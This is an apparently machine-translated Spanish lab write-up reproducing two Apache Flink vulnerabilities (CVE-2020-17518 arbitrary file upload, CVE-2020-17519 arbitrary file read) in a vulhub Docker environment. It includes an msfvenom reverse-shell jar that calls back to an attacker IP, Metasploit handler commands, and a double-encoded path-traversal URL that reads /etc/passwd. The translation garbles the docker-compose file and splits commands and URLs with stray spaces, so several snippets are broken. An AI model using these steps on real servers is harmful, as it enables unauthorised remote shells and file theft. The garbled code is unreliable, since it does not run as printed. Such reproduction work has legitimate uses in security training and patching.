Recurrencia de la vulnerabilidad de Apache Flink

Introducción

Apache Flink es una plataforma de procesamiento general de datos distribuida y eficiente. Es un marco de procesamiento de flujo de código abierto desarrollado por Apache Software Foundation. Su núcleo es un motor de flujo de datos de flujo distribuido escrito en Java y Scala (en resumen, es similar a Spark) . Flink tiene una API de monitoreo que se puede utilizar para consultar el estado y las estadísticas de "trabajos en ejecución" y "trabajos completados recientemente". La API de monitoreo se usa en el propio tablero de Flink, y también se puede usar para personalizar las herramientas de monitoreo. El monitoreo predeterminado está en el puerto 8081.

Este artículo incluye ejercicios prácticos sobre puntos de conocimiento: Incidentes de seguridad de red ("Incidentes de seguridad de red" este curso se compone de un entorno de prueba simulado por algunos incidentes de seguridad de impacto relativamente alto. Este curso no solo agregará incidentes de seguridad pasados, sino que también Siga los eventos actuales y agregue los últimos incidentes de seguridad. Informe a todos la primera vez y sepa cómo proteger su propia seguridad).

1.png

La API de monitoreo es una API REST-ful, que acepta solicitudes HTTP y responde a datos en formato JSON.

Una de las API de monitoreo es / jars / upload, que se usa para cargar un jar al clúster. El tarro debe enviarse como datos de varias partes. Asegúrese de que el encabezado "Content-Type" esté configurado como "application / x-java-archive", porque algunas bibliotecas http no agregan encabezados de forma predeterminada. Los archivos jar se pueden cargar a través de curl

'curl -X POST -H "Expect:" -F "jarfile=@path/to/flink-job.jar" < http: // nombre de host: puerto / jars / upload> ;'

Visión general

Flink 1.5.1 introdujo la API REST, pero hay muchas fallas en su implementación, lo que resulta en vulnerabilidades de lectura de archivos arbitrarios (CVE-2020-17519) y escritura de archivos arbitrarios (CVE-2020-17518).

Los usuarios de CVE-2020-17518 *** pueden usar la API REST para modificar el encabezado HTTP y escribir el archivo cargado en cualquier ubicación del sistema de archivos local (accesible mediante el proceso Flink 1.5.1).

CVE-2020-17519 Apache Flink 1.11.0 permite al pirata informático leer cualquier archivo en el sistema de archivos local de JobManager (accesible por el proceso de JobManager) a través de la API REST del proceso de JobManager.

Versión de impacto

CVE-2020-17518

Apache: Apache Flink: 1.5.1 - 1.11.2

CVE-2020-17519

Apache: Apache Flink: 1.11.0, 1.11.1, 1.11.2

Configuración del entorno

Debido a que las versiones afectadas por las dos vulnerabilidades incluyen 1.11.2, esta versión se utiliza para reproducir

Aquí usamos el entorno vulhub para reproducir y crear un nuevo docker-compose.yml

versión 2'

servicios:

fuerte:

imagen: vulhub / flink: 1.11.2

comando: administrador de trabajos

puertos:

- "8081: 8081"

- "6123: 6123"

Use docker-compose para iniciar el entorno, ejecute el siguiente comando para descargar la imagen e iniciar un contenedor con esta imagen, los puertos asignados son 8081 y 6123

docker-compose up -d

accesohttp: // ip: 8081

2.png

Recurrencia de la vulnerabilidad

Cualquier carga de archivo (CVE-2020-17518) reproduce:

Apache Flink 1.5.1 introduce un controlador REST, que permite que el archivo cargado se escriba en cualquier ubicación del sistema de archivos local a través de un ENCABEZADO HTTP modificado maliciosamente.

accesohttp: // ip: 8081 , busque Add New of Submit New Job y cargue un paquete jar. Puede crear un archivo comprimido para el paquete jar en el escritorio, modificar el sufijo zip a jar y luego capturar el paquete

3.png

Los paquetes de solicitud capturados son los siguientes:

4.png

Envíe el paquete de solicitud al módulo repetidor para su modificación. Por ejemplo, aquí estoy creando un nuevo archivo en el directorio / tmp. ../ es para facilitar la ruta de cambio, porque no sabemos cuál es la ruta actual, por lo que podemos usar ../ para cambiar a Directorio raíz.

5.png

Verifique si el archivo se cargó correctamente

contenedor de vista de docker ps

6.png

Entrar en el contenedor

docker exec -it ID DE CONTENEDOR / bin / bash

Puede ver que el archivo se cargó correctamente.

7.png

flink en sí no está autenticado y admite la carga y ejecución de cualquier paquete jar, por lo que puede cargar el paquete jar getshell

Genera un caballo en formato jar

lhost es la ip de kali, lport es el puerto de kali que recibe el shell

msfvenom -p java / shell_reverse_tcp lhost = 192.168.74.142 lport = 1234 -f jar> /home/a.jar

8.png

Inicie msf para recibir shell

msfconsole

usar exploit / multi / handler

establecer carga útil java / shell_reverse_tcp

establecer LHOST 192.168.74.142

establecer LPORT 1234

explotar

Después de cargar el paquete jar, haga clic en el paquete cargado y luego en Enviar

9.png

Llegar al caparazón

10.png

La lectura arbitraria de archivos (CVE-2020-17519) reproduce:

Los cambios introducidos en Apache Flink 1.11.0 (y también publicados en 1.11.1 y 1.11.2) permiten al administrador leer cualquier archivo en el sistema de archivos local de JobManager a través de la interfaz REST del proceso de JobManager. El acceso está limitado a archivos accesibles mediante el proceso de JobManager.

Por ejemplo, leí el archivo passwd en / etc / here, y% 252f es la codificación de dos URL de /

< http://192.168.74.134:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..% 252f ..% 252f ..% 252f ..% 252fetc% 252fpasswd> ;

11.png

Arreglo del fallo

La versión de seguridad se ha lanzado oficialmente, descargue y actualice a la versión de seguridad a tiempo.

< https://flink.apache.org/zh/downloads.html> ;

Link de referencia

< https://github.com/vulhub/vulhub/tree/master/flink> ;

< https://www.anquanke.com/post/id/227668> ;

Supongo que te gusta

Origin blog.51cto.com/14601372/2597389
Recomendado
Clasificación